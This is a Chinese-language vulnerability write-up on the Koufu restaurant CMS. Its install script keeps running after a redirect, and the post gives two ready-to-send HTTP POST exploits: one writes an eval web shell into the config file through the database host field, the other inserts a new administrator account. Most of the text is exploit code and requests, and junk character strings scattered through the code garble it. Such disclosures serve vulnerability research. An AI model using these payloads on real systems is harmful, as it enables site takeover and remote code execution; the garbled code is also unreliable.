口福科技餐厅cms漏洞(可getshell)

admin

问题出在/install/index.php文件。在程序安装完后，会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。

<?php
if(file_exists("../install.lock"))
! T3 C2 x! k/ q0 z2 \1 f{
    header("Location: ../");//没有退出
}
               
//echo 'tst';exit;
require_once("init.php");
' z2 N5 i2 g! i" D* J! E3 u: Eif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
" \3 F8 r- }# b# j9 S& b( ^{
& C$ X6 U9 Z6 y6 f  e3 `; V可见在/install/index.php存在时，只是header做了302重定向并没有退出，也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
' F3 `+ l3 Z, S# `. Y7 N
1、getshell（很危险）
. R+ b% j  V/ {5 P0 n$ V% W; Wif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
{
$smarty->assign("step",1);
$smarty->display("index.html");
- X/ g; y  w9 C# Z" @/ s; a- e& S}elseif($_REQUEST['step']==2)
6 {5 I- R1 i- Q1 S  t{
    $mysql_host=trim($_POST['mysql_host']);
' Q" J" }7 K0 g+ Z  v    $mysql_user=trim($_POST['mysql_user']);
. W0 F7 v9 P5 f  Z    $mysql_pwd=trim($_POST['mysql_pwd']);
    $mysql_db=trim($_POST['mysql_db']);
    $tblpre=trim($_POST['tblpre']);
    $domain==trim($_POST['domain']);
  g5 c( {1 `- i( `1 F    $str="<?php \r\n";
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
. g' k# F  m3 m0 d2 B' W$ Z  t    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
" f+ T. ?) D6 G9 c7 S9 b6 F    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
+ S* b: ?$ d( R& l    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
: q7 a6 \+ K7 v9 ~+ ^2 d" E/ N    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
    $str.='define("SKINS","default");'."\r\n";
0 u2 [  z4 x- |. v! u# \    $str.='?>';
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
, Y& [" ~) X( t  h上面的代码将POST的数据直接写入了../config/config.inc.php文件，那么我们提交如下POST包，即可获得一句话木马
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
Host: 192.168.80.129
% A! y. [2 F$ S. ^. \. vUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
6 Y6 e' d" ?# o+ e% Y& l0 sAccept-Encoding: gzip, deflate
. j" l, e, r; {$ \Referer: http://192.168.80.129/canting/install/index.php?step=1
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
4 \4 @' W; B- x  C: M! l' uContent-Type: application/x-www-form-urlencoded
5 u7 c6 L" p5 Q2 ~/ v' o0 ]Content-Length: 126
         
: \" y  G' D5 d% mmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
+ l9 |* B4 C3 F- F但是这个方法很危险，将导致网站无法运行。

3 F( g# P- h% G! N6 W! _% `2、直接添加管理员

/ t. L4 \) K0 i) a! B. z2 Selseif($_REQUEST['step']==5)
{
" Q9 B5 e# I" g, F' U    if($_POST)
    {   require_once("../config/config.inc.php");
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
$ b) o1 _" o" }, n- i# H$ P        mysql_select_db(MYSQL_DB,$link);
        mysql_query("SET NAMES ".MYSQL_CHARSET );
         mysql_query("SET sql_mode=''");
% V+ C: g; h4 G( y" P+ q! c, i
% u7 b7 ]" l5 N2 ~7 N4 k $adminname=trim($_POST['adminname']);
% q, m  L3 `1 z  E8 v0 w        $pwd1=trim($_POST['pwd1']);
        $pwd2=trim($_POST['pwd2']);
        if(empty($adminname))
+ S% T1 ~' Y  x3 f; H        {

" w  i8 K3 _- L; C* W: X echo "<script>alert('管理员不能为空');history.go(-1);</script>";
            exit();
        }
3 F7 {# f5 h" V; M9 M0 d7 b' a        if(($pwd1!=$pwd2) or empty($pwd1))
, h3 k' }, [# {$ p$ A        {
, v! n# {( O3 S            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
0 c* J+ M+ d! V9 V+ ~" d        }
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
    }
; F* h& ]0 h$ D0 M& @, w" q) S这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号，语句如下：
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
Host: 192.168.80.129
5 L/ v! }% y( _$ J2 vUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.2cto.com /canting/install/index.php?step=1
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
/ n; z6 w% K& ^% x. h      
( Q$ A: b0 Q- G. P2 Tadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
% |# C- |7 c, x+ M' G# {